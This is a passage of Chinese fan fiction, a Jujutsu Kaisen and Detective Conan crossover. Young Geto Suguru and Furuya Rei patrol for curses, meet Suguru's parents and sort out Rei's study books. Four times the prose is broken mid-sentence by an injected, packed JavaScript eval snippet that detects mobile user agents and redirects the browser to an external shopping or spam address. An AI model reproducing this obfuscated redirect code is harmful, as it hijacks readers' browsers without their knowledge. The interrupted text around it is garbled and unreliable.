夏油杰顿了一下,抬眼分别看了两眼父母期待的神情,犹豫了一下,说:“我们是今天在商业街碰见,发现对方都能看见怪物才熟悉起来的。” “我亲眼看见他在抓怪物。”夏油杰特意咬重最后两个字强调。 他认真地看着父母,一字一句地解释:“零说那些怪物叫咒灵,这个世界上只有很少的人才能看见它们,他们叫咒术师。咒术师很久很久以前就存在了,他们一直以消灭咒灵为目标,还有专门的学校在教这些知识。” 夏油正人和夏油晴子愣住,互相看了对方一眼,然后同时笑出来。 夏油正人哈哈大笑着按住儿子的头,用力揉了揉:“原来杰还在玩这些冒险故事吗?真是好些日子都没有听过了。” 夏油晴子也掩唇轻笑:“看来那位降谷君也是一个有趣的孩子,毕竟很少有人能跟上杰的思路呢。” 冒险故事……才不是故事呢!夏油杰撇了撇嘴,果然,就算告诉爸爸妈妈还有除他以外的人能看见怪物,他们也不会相信。 其他人也一样,都拿他的话当成小孩子的胡言乱语……哪怕他一言一行都极力贴近父亲了,却还是被当成小孩子…… 想到过去被笑话的经历,夏油杰的心情变得低落起来,他垂眸,用筷子戳着米饭,在上面捣出一个个小洞。 夏油正人拍了拍儿子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192552|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的背:“好啦,不用不好意思,小孩子都喜欢幻想故事的,你爸爸我以前也一样。” 夏油晴子在桌下踢了一脚丈夫,在对方看过来时瞪他一眼,示意了一下夏油杰,微微摇头。 夏油正人这才想起夏油杰脸皮薄,不喜欢被点破这件事,曾经还和他们闹过脾气。 他连忙转移话题:“对了,既然是很好的朋友,那是不是可以叫来家里玩?妈妈可以做很多很多好吃的菜招待他。” 夏油晴子附和:“没错。如果今天在商业街碰见,他家住得应该不远吧?不远的话,这周就可以邀请过来玩。” 夏油杰的注意力被转移,回答:“他住附近,就在公寓楼那边。我们刚刚约好下午一起去巡、去玩,到时候我问问他吧。” “咦,住得这么近吗?”夏油正人有些惊讶,下一秒又觉得正好,追问,“是在几幢?” 夏油杰卡住:“……我没问,忘记了。” “你这孩子。”夏油正人笑着摇头,又看向妻子,“晴子知道吗?附近如果搬来外国人,应该会听过吧?” 夏油正人从来不是喜欢打听别人私事的人,追问这些也纯粹是想着自家儿子已经很久没有提起“朋友”这件事了,现在难得有承认的朋友,觉得说不定他们两家可以来往一下,以此延长儿子的朋友“有效期”。 夏油晴子也是同样的打算,她拧着眉努力回忆:“我没印象诶,也没听其他家的太太们提起过……” 夏油正人诧异:“嗯?居然没有吗?” 察觉到不对的两个人同时看向夏油杰。 夏油杰不解:“怎么了?” 夏油夫妇:…… 他们的儿子,该不会扮演故事上瘾,终于变异升级,开始捏造虚构的朋友了吧? “那个……杰,你说你们约好了一起去玩,那应该互相留了联系方式吧?”夏油正人试探地问。 “我们交换了电话号码。”说着,夏油杰拿出自己的小本子,展示了降谷零写电话号码的那页。 见到本子上不一样的字迹,夏油夫妻只松了半口气。 好消息:字迹看上去与儿子的不一样,他们的儿子也没达到能改变字迹的水平,所以这大概率不是夏油杰自己写的。 坏消息:字迹过于端正漂亮,一看就不像小学生写的,所以“降谷零”的存在仍然存疑。 夏油晴子忍了忍,没忍住,想问一问“降谷零”的具体细节,但被夏油正人按住胳膊。 夏油正人问:“杰和降谷君是约在了几点?” 夏油杰回答:“没说具体时间,我准备吃过饭就给他打电话。” 夏油正人又问:“需要零花钱吗?” 夏油杰摇头,他们是去巡逻的,又不是真的去玩,不需要零花钱。 但头摇到一半,夏油杰又想起之前被请客的事情,他急忙刹车,快速点头:“要的。早晨他请我吃蛋糕喝饮料了,我答应要请回去。” 夏油正人左看右看,觉得夏油杰不像演的,另外一半的心勉强放下,他冲夏油晴子点点头,夏油晴子也暂时安心了。 “那是要有来有往才好。”她说,“杰不要在这种地方占朋友的便宜哦。” “我才不会呢!” 33.第 33 章 一家人又热热闹闹继续吃饭。 饭后,夏油杰迫不及待地就拿起了座机的听筒,对着笔记本拨号。 “嘟——嘟——嘟——” 电话的声音响起,重新坐到沙发上看报纸的夏油正人的视线落在同一点已经超过一秒,在厨房洗碗的夏油晴子的动作也越来越慢,水声逐渐消失。 “嘟——嘟。” 电话被接起。 夏油杰率先开口:“零!是我,你吃过饭了吗?我们现在出门可以吗?” 来了!该对面回复了!夏油正人的身体不自觉歪向座机的方向,竖着耳朵捕捉一切能捕捉的动静。 老式的座机有点漏音,隐隐约约传出一道稚嫩的男声,但具体说了些什么听不清,夏油正人竭尽全力也只听到零星的“吃”、“刚”、“街”等词汇。 紧接着是夏油杰的回答:“好!那我们就在刚刚分别的路口见面,之后见!” 夏油正人:? 怎么这么快! 他急忙重新坐好,挺直腰背,假装看报纸。同时,他身后厨房的水声也立刻大起来。 夏油杰“啪”地挂断电话,头也不回地往外跑:“爸爸妈妈再见,我出门了!” “砰!”大门合上。 “……” 静等两秒,夏油正人后仰,伸长脖子看向玄关。确定人走了后,他放下没翻过的报纸,对一直看着这边的夏油晴子点点头:“走了。” 夏油晴子在围裙上擦了擦手,从厨房向他走来:“怎么样?你离得近,听到电话那边的情况了吗?” 夏油正人托着下巴沉吟:“细节没听太清,但声音听着确实是个小孩子。” “这么说,杰这次真的交到新朋友了?”夏油晴子很惊喜。 但很快她又变得忧心忡忡:“不过杰以前也不是没交过朋友,可是每次持续的时间都不长,也不知道这次会怎么样……” 夏油正人倒是挺乐观:“账不是这样算的。如果真的有‘降谷零’这个人,我倒觉得结果会不错。” 他给妻子解释:“你看,杰之前的朋友会陪他玩角色扮演吗?会帮他完善故事的世界观吗?还想出了那种独特的专业词汇——咒、咒灵?我记得是这个吧?你看这像是敷衍吗?” 夏油正人重新拿起报纸抖了抖,放松靠在沙发背上,翘起二郎腿:“还有啊,在杰开始玩角色扮演后,他就算交了朋友也从未如此激动过,这么看他很在意这次的朋友,怎么说也会和对方相处好一段儿时间。” “总之,我们暂时可以不用担心了。” 夏油晴子琢磨了一下丈夫的话,觉得挺有道理:“说的也是,我们就先看这次事情的发展吧。”她折身回去继续洗完。 没过一会儿,厨房传来一声低呼声。 “哎呀!正人,我刚刚忘记提醒他吃完饭不要跑了!” “没事,男孩子没有那么娇气,而且光说没用,你总不能一直提醒他吧?让他长长记性,回来再说。” …… “所以你跑什么啊?”降谷零蹲在夏油杰旁边,“饭后不能立刻运动的。” 夏油杰抽气道:“我、我忘记、了……” 降谷零颇感无奈,一边替他揉肚子,一边道:“好了好了,先别说话,放慢呼吸,跟着我调整节奏:吸——呼——慢慢吸——慢慢呼——” 夏油杰咬着下唇,努力按照降谷零的指导做,很快,小腹尖锐的刺痛就逐渐缓解。 他松了口气,脱力靠在墙上:“哈……终于……刚刚痛死了……” 降谷零拿出手帕,替他擦掉额头的虚汗:“好些了吗?下次不要忘记这种重要的事情了。” 夏油杰摸摸鼻子:“我知道啦……这次是意外。”他只是很期待和降谷零一起巡逻,并且迫切地想证明今天的一切不是梦。 证明他不再是唯一一个能看见的异类了。 降谷零等夏油杰缓好后拉他起来:“这个短时间彻底恢复不了,你接下来都要慢慢走,不然又会难受。” 夏油杰皱眉:“那巡逻……” “我们可以走着巡逻,也是一样的。至于拔除,我来就好。”降谷零揽过“重任”,“你之前不是看见过我抓蝇头吗?我可以的,你放心好了。” 夏油杰还是有点不愿意,本来说好他负责当主要行动人员的,还要保护零,现在怎么就倒了个过呢? 所以都怪自己太不成熟了,没事跑什么跑! “哦……那就这样吧。”夏油杰慢吞吞地应了一声,每个发音里都写满了不高兴。 降谷零有点好笑,他也不想没事跟着咒灵上蹿下跳好吧? 一开始降谷零的出发点就是为了哄孩子,顺便多关照一下夏油杰这个讨人喜欢的孩子,别还没成长起来就因为他自己的无知无畏而夭折。 而且中午答应巡逻,完全是想着反正夏油杰会动手,他只需要陪着就好,结果没想到事情的走向变成现在这样。 “不然我把咒灵引过来给你拔除?”降谷零提了一个对孩子哄上加哄的建议。 “啊?”夏油杰想了想那个画面,立马摇头,“那成什么了,那不是把你当成诱饵了吗!不行不行!” 夏油杰妥协了:“还是按你一开始说的那样来吧。” 顿了顿,他又不是那么妥协地加了一句:“但是如果你累了,就一定换我来啊——后期等我彻底缓过来也要换我来。” “好好——” 见降谷零应下,夏油杰这才放心:“那我们走吧。”说着,他抬脚就是一个大跨步。 然后下一秒,夏油杰就面目扭曲地捂住肚子:“嘶——” 降谷零:…… 他上前扶住夏油杰的胳膊,无奈道:“不是说好慢慢走的吗?” 夏油杰也很委屈:“……我已经很慢了,到底要多慢才行?” 降谷零想了想:“大概是踩蚂蚁的速度才可以?” “啊?!踩蚂蚁的速度?!”夏油杰震惊,“那要走到什么时候去?!” 见他大张嘴巴,降谷零忍了忍,没忍住,噗嗤一下笑出来:“你真信了啊?我是开玩笑的,哈哈哈。”他就是心血来潮,又想逗一下孩子,结果夏油杰的反应果然不出他的意料,很有趣。 夏油杰表情空白一瞬,反应过来后耳朵迅速变红,他锤了一拳降谷零:“真是的,你干嘛!” 夏油杰的力道不重,降谷零意思意思地躲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204482|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,偏头掩唇笑个不停:“抱歉抱歉……我错了,下次不会了。” 降谷零讨饶地合掌晃了晃:“杰就原谅我吧,拜托拜托~” 夏油杰愣住。 杰……他喊他杰诶…… 虽然说是约好了这么喊的,但真的从对方嘴里听到这个称呼,夏油杰还是觉得心脏砰砰直跳。 红晕从耳根爬上脸颊,夏油杰急忙错开视线:“咳!那、那就原谅你了吧。” 说起来,零刚刚算不算是在对他做恶作剧?零能这样对他,是不是说明他们真的是朋友了?还是关系很好的那种? 想到这个结论,夏油杰就感觉有烟花炸在自己头顶,心情像是在带着暑气的夏日祭夜晚痛快地吃了一大碗刨冰一样,清凉又舒畅。 有什么东西在心底破土而出,痒得夏油杰想要说些什么,于是他说:“零,今年的夏日祭,我们到时候一起去捞金鱼吧?” “诶?” 话题转变的猝不及防,降谷零一时没转过弯:“夏日祭?可以是可以,但夏日祭在七八月,离现在还早吧?怎么突然提起这个?” 夏油杰的唇角克制不住地扬起,眼睛弯起:“没什么,就是突然想到了。” 他冲降谷零伸出小指:“那说好了,我们一起过夏日祭——还有其他节日也要一起!拉勾!” 降谷零眨眨眼,用小指勾住他的。 然后两个人共同开口,唱道:“拉勾起誓,说谎的话要吞一千根针,手指切断了!*” 得到承诺的夏油杰满意了:“好了,我们已经耽误很多时间了,快走吧。”他反手拉住降谷往前走去,但这次他记得把脚步放得更慢。 已经很久没有和人这样亲密接触的降谷零下意识想挣脱,但看着夏油杰的笑脸,他又硬生生忍住了动作。 算了,就这一次,权当哄孩子了。降谷零想。 但之后怎么办呢……降谷零有点头疼后续要怎么和夏油杰相处,他是个货真价实的成年人,难道以后他又要回归戴面具的生活了? 呃,其实好像也没太大的差别,左右跟其他人相处时也是一样在演,多一个夏油杰也没区别——说不定和夏油杰相处会更自在一点,毕竟他们都是“成熟”的小学生。 只是如果要和夏油杰一起,他很多事情就都没办法做了,比如像之前去医院探查咒灵这种危险的事情就不能带着夏油杰一起。 嗯……这个好像也没影响?虽说要把夏油杰放到眼皮子底下,但也不是真的二十四小时盯着。 那剩下最重要的就是:他不是这个世界的人,最终目标是回家。 唉……听说工藤新一回归的时候,江户川柯南就出国了,他是不是可以参考一下? 但出国了又不是死了,工藤新一能用变声器打电话,他难不成还能跨世界联络? 啧,麻烦,这种无足轻重的未来的事情还是交给未来的他去烦恼吧。 把烦人的问题统统都解决的降谷零,终于将注意力移到了现实。 他们已经顺着夏油杰总结的“最快速巡逻”路线开始执行任务(夏油杰语)了,两人一人负责看左边,一人负责看右边,仔细检查咒灵——主要是蝇头——的存在。 34.第 34 章 但他们两个人的效率不高,甚至可以说是及其低下。 一方面是因为夏油杰现在走不快,另一方面是因为夏油杰一路上都热衷于给降谷零介绍周围店面的情况,说得高兴了,还要拉着降谷零凑近去看,因此拖慢了速度。 “这家面包房特别有名,刚出炉的红豆面包和奶油餐包的香气能飘满半条街,每天傍晚都会排起长长的队伍。” “这家文具店有好多超火的卡通限定笔、活页笔记本和印章,我经常去看,有时候也会买。” “这家豚骨拉面店和不远处的荞麦面店,都是现场做的,好吃又便宜,有空我们可以一起去吃。” “还有这家……” 眼见这趟出行的重点即将跑偏,降谷零却没多说什么,甚至对此乐见其成,反正都是陪小孩子玩,能多有点情报更好,听到就是赚到。 ——虽然目前为止拿到的情报都与任务无关,但从提高生活质量或是维持人际关系的方面来讲,勉强算是有用,比如下次出门吃饭或者带礼物刷好感之类的,就可以按照这些店面来。 两个人走走停停,从太阳高悬到倾斜西边,才将将走了预计路线的一半多一点儿。 见时间直奔五点,降谷零不得不拉住夏油杰:“杰,剩下的能不能晚点再巡视?或者明天再巡视?” “嗯?为什么?马上就结束了啊?” “是这样的,我早晨的时候约了上门送快递的服务,时间是五点之后,所以我得回家等快递。” 降谷零歉意地看着他:“抱歉啊,我当时也没想到还有之后的事情,不然就另约时间了。” “你不用道歉,两件事情冲突又不是你想的。不过,必须是你回去等吗?你爸爸妈妈不在家吗?”夏油杰好奇地问。 降谷零卡了一下,有些不知道怎么解释。 直说?那按照夏油杰的保护欲来看,自己以后都要沐浴在他的责任心下了。 不说?但夏油杰和自己住得那么近,就算自己不说,他也总会知道。 降谷零许久都没有体会过这么尴尬的选择了,他含糊道:“嗯……我家里只有我在……” 夏油杰没有多想,只以为降谷零的家长是周末也要工作的那种,他爸爸认识的人里就有这种情况:“这样啊,那确实要赶回去。” 他有些懊恼:“说起来也怪我,要是我刚刚没有说那么多就好了……” “怎么会?我搬到这边还没多久,周围都没熟悉透,今天还是第一次知道这些店面的好坏呢,多亏了杰的介绍,对我来说真的很有用!” “这样吗?能帮到零就好!”夏油杰心情又好起来,他看了一眼剩下的路,“那我们到时候看快递什么时候到,要是时间还早,就晚点再继续;要是时间太晚,我们就明天再继续。” “好。” 商量着达成一致,两人就往回折返。 夏油杰问:“零,你刚刚说是你约的快递,你买了什么啊?” “是一些辅导书和习题。” 夏油杰一听,来了兴趣:“是要补习吗?我可以帮忙!” 他很自豪地拍拍胸膛:“我的成绩都是优,如果你有任何不会的,都可以来问我!” 降谷·成年人降维打击·成绩也都是优·买的都是跳级用的资料·零:。 问夏油杰吗?他问吗? 唔……好像也不是不行? 突然,降谷零逗孩子的恶趣味又上来了:“真的吗?那杰一定要帮我!” “没问题!包在我身上!” 尚且单纯的夏油杰对降谷零的险恶用心一无所知,抓重点抓错的他也没意识到三年级明明没几类课,为什么辅导资料还需要快递。 于是,等跟降谷零一起站在门口后,夏油杰瞪大了眼睛,他指着眼前到自己膝盖的快递箱,结结巴巴地问:“这些、全是?!” “是啊,都是。”降谷零蹲下来,用钥匙的棱角划开胶带,打开箱子检查。 夏油杰也跟着蹲下,拿出最上面的一本,念出名字:“数学教材解析,四年级专用——等等,四年级?!” 他愕然抬头:“我们不是在上三年级吗?” 降谷零眨眨眼:“但是马上就该四年级了啊,我要提前预习。” 夏油杰彻底愣住,预习?在现在?连期中考都没考的时候?这个“马上”是不是有点太快了? 他的视线随着降谷零的手移动,然后似乎又看见了六年级的书。 他一把握住降谷零的手,将书定在自己的面前,确定封面上写的确实是六年级,而不是自己眼花看错后,夏油杰看向降谷零,声线有些颤抖地问:“……这也是预习?” 降谷零又眨了眨眼:“是啊,我预习比较快。” 我预习比较快我预习比较快我预习比较快……这六个字仿佛魔音灌耳,久久缠绕在夏油杰周围。 夏油杰:不是,就算预习快,什么人会在三年级直接预习到六年级?! 见夏油杰这幅天崩地裂的表情,降谷零用力抿唇才堪堪忍住笑意,果然啊……逗小孩果然很有趣,这也算是他无聊的小学生活中找到的新乐子? 降谷零还嫌不够,故意问:“杰之前说会教我,你会说话算数的,对吧?” 夏油杰看了看期待的降谷零,又看了看高年级的辅导书。 他想说他不行,这完全超纲了,他教不了一点儿! 但自尊心又让他无法拒绝已经答应的事情,尤其是在面对需要他关照的降谷零的时,这种心情格外明显。 最后,夏油杰语气虚弱地问:“你、你要什么时候预习?”他感觉自己还能再挣扎一下,只要不是立刻开始,他回去就能提前自学! 降谷零扒拉几下箱子里的书,掰着手指算:“这个月只剩下一半了,正好能预习一个四年级,下个月就能把五六年级一起搞掉。”毕竟他只是在复习,还是小学课程,这个速度都慢了。 并不知道这一点的夏油杰:…… 夏油杰觉得自己挣扎不了了,这谁能做得到?降谷零是魔鬼吧!他是认真的吗?! 夏油杰欲言又止,止又欲言:“零,那个……我们……我们还小,其实可以不用这么着急的……” 他绞尽脑汁地劝说:“而且……而且就算能这么早全部都预习完,可距离真正上到那部分的时候还有很长时间,中间隔了这么久,会把学过的东西都忘掉的,那不是就白学了吗?” “唔……好像是?”降谷零沉吟。 夏油杰见有希望,眼睛亮起:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215124|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对吧!所以可以不用那么着急,预习个四年级的内容就顶天了。” 顿了顿,他又改口:“其实现在预习四年级的内容也早了,我们可以在假期的时候再预习的。” 看着夏油杰如此努力地阻止自己,降谷零感觉自己的笑意快憋不住了,他连忙低头,装模作样地思考片刻,终于点头:“好吧,你说得很有道理。” 夏油杰彻底松了口气,万幸,他不用进行疯狂补课来兑现诺言了。 降谷零就这样面上保持一副正常的样子,默默地将夏油杰的一系列反应收入眼中,一个人在心里偷着乐。 但话又说回来,降谷零其实也开始犹豫要怎么调整之前定好的跳级计划了。 既然决定了要关照夏油杰,那么按眼下的情况,他最好在初中前都要和夏油杰在一起,并在这期间把咒术界的一切相关知识都教给他,然后…… 呃,然后好像也不能太过放心地放手?毕竟单说咒术界那些家族的弯弯绕绕就不是小学生能理解的,教了也白教——初中生大概也够呛。 那、那就到初中结束?不是说有高专吗,回头把夏油杰塞去高专里应该就可以放心了吧? 降谷零:…… 糟糕,他好像给自己揽了个麻烦。 说到底,他的任务重点是解决世界危机然后回家,为什么要管夏油杰会不会出事啊?这和他有什么关系? 降谷零看了一眼夏油杰,开始思考现在把这个麻烦扔出去的可能性。 “零?”夏油杰被降谷零看得莫名其妙,“为什么这么看着我?” 降谷零错开视线,看向箱子里的书:“嗯……没什么,我在想怎么处理这些书。” 夏油杰也顺着降谷零的目光看过去:“联系书店退货?教辅书似乎是每年都更新的,这些之后就用不上了。” “我来替你收拾这些,你打电话退货吧,然后我们就能继续去巡逻了。”说着,他开始整理被翻乱的纸箱,按照大小一本本码好。 降谷零:。 巡逻……降谷零又想起之前夏油杰闪着光的眼睛,和他一路叽叽喳喳,肉眼可见的开心。 降谷零无声叹息。 算了,就这样吧,麻烦就麻烦吧,反正也没有太麻烦,又不是什么影响大局的事情,他不至于真的不管夏油杰,更何况是这样一个很不错的孩子。 降谷零拦住夏油杰:“杰,别收拾了,我不打算退货。” “啊?不退?为什么?难不成你又打算预习了?!”夏油杰的表情又变得惊恐。 降谷零忍不住笑出来:“不是啦,我是打算留着以后用,反正只是预习用的资料。我买的时候特意看过,这些都是泛用性很强的资料,就算后续版本更新,也不会有大的改动,不会过时。” “哦哦……”夏油杰不懂这些,但听到降谷零不是打算开启疯狂预习模式就行。 降谷零摸出钥匙开门:“你稍等一下,我把这些放到玄关,回头再收拾就好。” “我帮你。” 夏油杰拎着箱子耳朵,等降谷零打开门,就哼哧哼哧地拖着箱子往屋子里搬:“好——重——” 降谷零急忙和他一起:“你等我一起啊!你忘记之前肚子痛了吗,小心用力过猛又开始痛!” 35.第 35 章 两个人把合力把箱子拖到玄关,夏油杰呼出一口气,有些好奇地看向客厅。 “零,你家里怎么感觉空空的啊?” 降谷零对上他的视线,歪歪头:“嗯……简单些比较好,习惯了。”安全屋都这种风格,确实是习惯了。 “哦,这样啊。”夏油杰又看了一眼客厅,很快将之抛之脑后,他的注意力放在了之前未完成的事情上,“这边的事情结束了,我们是不是可以继续去巡逻了?” 降谷零对他这种不忘初心的执着也是无奈了:“嗯,那我们走吧。” 这次夏油杰吸取教训,专注于巡逻,不到半个小时就完成了剩下的部分,然后他才拉着降谷零折返,继续介绍他喜欢的店铺。 等两个人再经过拉面店的时候,夏油杰拽了拽降谷零:“零,已经到饭点了,我请你吃面吧?正好我也有一段时间没吃了。” “诶?你不回家吃饭吗?”降谷零看向门帘的店面,若有若无的香味丝丝缕缕地飘出,热闹声顺着暖黄色的灯光散落在周围。 “打电话说一声就好了,你带电话了吧?” “带是带了,不过你确定不回去吗?如果按晚饭时间算,这个时候你家应该已经差不多要做好饭了吧?万一给你做了饭,你却没回去吃,那不太好吧?” 听见这话,夏油杰也犹豫了:“那我打电话问问?如果没做好,我们就在外面吃?” “不如明天下午一起来吃?”降谷零提了一个折中的方法。 夏油杰又看了看拉面店简单的招牌,咽了咽口水:“好吧……” “啊对了!”夏油杰一拍脑袋,想起之前和父母讨论的事情,“明天你要不要来我家玩?我爸爸妈妈很期待我带你回家做客,说会做很多好吃的!” 他期待地看着降谷零:“你可以早晨就来我家,到时候我们玩一个上午后正好吃午饭——我的书架上有很多漫画,《星渊馈赠》的每一本单行本我都买了!” “然后等中午吃完饭再休息一下,我们再做点别的,到了晚饭的时间就一起去拉面店吃饭!怎么样?” 降谷零:…… 不怎么样,他还有其他的事情要做,不打算彻底过上小学生的生活啊! 降谷零试图婉拒:“嗯……杰的作业写完了吗?” “啊?作业?”夏油杰愣住,“写完了啊,我周五下午就写完了,你没有写完吗?” 降谷零摇头:“我的还没有写。周五出了趟远门,周六和你一起巡逻,现在我的作业还一字没动,明天是最后一天,所以我大概没法再继续玩……” “啊……” 夏油杰有些失落,他沉默一瞬,又不死心地问:“你不然明天早晨把作业带来我家写吧?” 降谷零再次摇头:“但是你写完了啊?如果你没写完,我们还可以一起写。但你写完了,我去你家岂不是就只能让你看我写作业了?那也太失礼了吧。” 见夏油杰还想提别的建议,降谷零急忙道:“这次就先算了吧,我们下次再约。” 夏油杰顺势问:“比如下周末?” 降谷零:。 行,看来这事不定下来是没完没了了。 “好,那就下周六中午?” 夏油杰满意了:“嗯嗯,就下周六!一言为定!” …… 一番波折后,降谷零终于送别了缠人的小学生回到家中。 中午吃的是咖喱,电饭煲里还剩下一些米饭,降谷零思索一瞬,拿出洋葱、新鲜的鸡蛋和已经去骨的鸡腿肉,打算晚饭做一个简单的亲子丼。 先修除鸡腿肉上多余的皮上油脂,然后切成小块,并轻微用刀背拍松;接着把鸡蛋打入碗中,轻轻搅散,保留部分块状蛋白;最后将洋葱切成细条,放到一边备用。 降谷零有条不紊地做好食材的预处理,又将凳子踢到灶台边,站上去开始熬制调味汁。 这是他在波洛咖啡厅兼职时研发的特制版调味汁,对咸甜的把握经过了许多人的试菜才达到最终的平衡,在上菜单后广受好评。 想到曾经在波洛打工的日子,降谷零不禁有些怀念。 说实话,自从警校毕业后他就一直忙忙碌碌,先是卧底培训,后是组织潜伏,归队后又一直在加班,这样看来,在波洛的那段时间其实算是他最轻松的日子了吧? 毕竟那个时候,他最大的烦恼是如何抢低价菜。 ——不过现在“最轻松的日子”的排行榜TOP,要变成“当小学生”了。 降谷零笑着摇摇头,挨个将调料倒入锅中,小火加热至微沸后关火。 他另取小锅,小火预热后放入洋葱丝炒出香味,然后将鸡腿肉块的皮面煎至微黄,再翻炒至表面变色,最后倒入调好的酱汁焖煮。 这个过程需要三四分钟,降谷零盯着渐渐被水雾模糊的透明锅盖,思绪又飘到了刚刚和夏油杰巡逻的过程。 夏油杰制定的巡逻路线几乎涵盖了半个商业区,按照人流量来倒推咒灵数量,他们要是真的每一只咒灵都要处理,那大概整个周末都弄不完。 ——是的,他们并没有处理每一只遇见的咒灵。 这件事放在降谷零这个不关心这个世界的人身上不稀奇,但放在夏油杰这种能在厕所堵着别人、就为了让那个人的性格立起来的人身上就很奇怪了。 因此,降谷零好奇地问了原因。 “因为他们不信啊。” “我也很想帮忙,但是我之前和他们说有不好的东西跟着他们的时候,他们都骂我,后来我就不说了,只管其他没跟着人的蝇头。” 彼时夏油杰正好路过一盏路灯,铁杆遮住了夕阳的光线,在他的脸上投下一片阴影,让他的表情变得不甚清晰。 不知为何,降谷零突然觉得夏油杰离自己有点远。 但下一瞬,夏油杰路过路灯,回头冲他露出了灿烂的笑容,眼睛在火红色的光芒下熠熠生辉,格外夺目:“其实我已经在研究怎么隔空消灭咒灵了,等研究出来就可以清理那些跟着人的咒灵了。不过我的研究进度一直很慢,但现在有零加入应该会快很多,到时候我们就可以帮助更多的人了!” 降谷零为自己刚刚莫名其妙的想法感到好笑,又对夏油杰的态度讶然:“杰还愿意帮助他们?你不会怪那些人不理解你的好意吗?”小孩子应该会更加爱恨分明吧? “为什么要怪他们?”夏油杰的语气带着理所当然的奇怪,“他们就只是什么都不知道的普通人而已,你不能强求他们理解他们不知道的事情。” “就像……就像二年级的学生没学过三年级的课,你就不能让他们理解我们的作业为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223460|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要这么做。” 夏油杰摇头晃脑地说着自己的见解:“零,别人不理解就不理解,我们只需要做我们觉得对的事情就好了,因为我们有能力,有能力的人就该做得更多,这是爸爸告诉我的——白鸽也是这样做的!英雄就该这样!” 降谷零听着他稀奇古怪的类比,忍不住笑出来:“嗯,杰说得对,我们自己问心无愧就好。” “没错!” 顿了顿,夏油杰又有点扭捏地拉住降谷零的衣袖,低声道:“其实我以前还是会有点难过的……有时候我会觉得我和其他人生活在两个世界里,跟他们说话也好累好累,像是绕着巡逻路线一口气不停地跑了三圈……” “不过现在好了,我认识零了!”他的语气又恢复活力,“零让我知道我不是一个人,太好了!” 降谷零定定看了他一眼,最后轻笑附和:“嗯,你再也不是一个人了。” 所以说,真的不能放着夏油杰不管啊……降谷零彻底绝了撇下夏油杰的想法。 总归最后会有法子解决他离开的后续问题的——大不了就直接坦白呗,说不定还能欣赏一下夏油杰被刷新世界观的表情呢。 “咕嘟咕嘟……” 降谷零回神,掀开锅盖淋入三分之二的蛋液,让其均匀铺在鸡肉表面。 他没有搅动,直接盖锅盖焖了三十秒,在底层蛋液凝固后又淋入剩余的蛋液,并轻微划开几处,再次盖锅盖焖了三十秒,然后迅速关火。 亲子丼的灵魂是半熟的嫩蛋,若是蛋液过老就会发柴,影响口感,而此时出锅的蛋液恰好半凝固,带微微流心,是正宗的关键。 降谷零把热过的剩米饭盛入碗中,将锅中的鸡肉、洋葱连同酱汁一起铺在米饭上,撒了些葱花点缀,然后端着盘子坐到了餐桌前。 “我开动了——” 降谷零一边吃饭,一边打开手机网址,点进了之前收藏的医院官网,在公告栏找急诊的通告。 有了。 降谷零先扫了一眼时间,通告的发布时间是三天前。再点进详情,通告很短,只有几行,大致意思是之前那段时间的封锁是在进行全楼检修。 降谷零:…… 全楼检修?要不是他进去看了,就真的信了。 降谷零又退出来看本地论坛的情况,讨论的帖子有,但大都围绕耽误看病这件事情,也有人在吐槽强制住院的做法,基本都与灵异和鬼怪之类的的内容无关。 也不知道是大家本就没有放在心上,所以无人关注,还是有相关方出手干预了舆情走向。 大概一半一半?降谷零心不在焉地咽下嘴里的东西。 但是不论是哪样,单看咒术界处理咒灵的速度就有点让人不知道该说什么。 降谷零是在周一的时候得知医院有异常的,然后在急诊楼看见了高等级咒灵,那时急诊楼内部的人员已经全部撤离。 那么倒推可以得知,医院内部发现并上报问题的时间,最晚最晚也是在上周天——这还没算各个环节琐碎流程所耗费的时间,要是算上,时间就更早。 而解决的公告是在本周三发布的,按最短时间算,解决咒灵居然耗了整整两天。 类比一下,这就相当于放任琴酒开着轰炸机,在东京肆意游荡了两天——还是他想开火就开火的那种!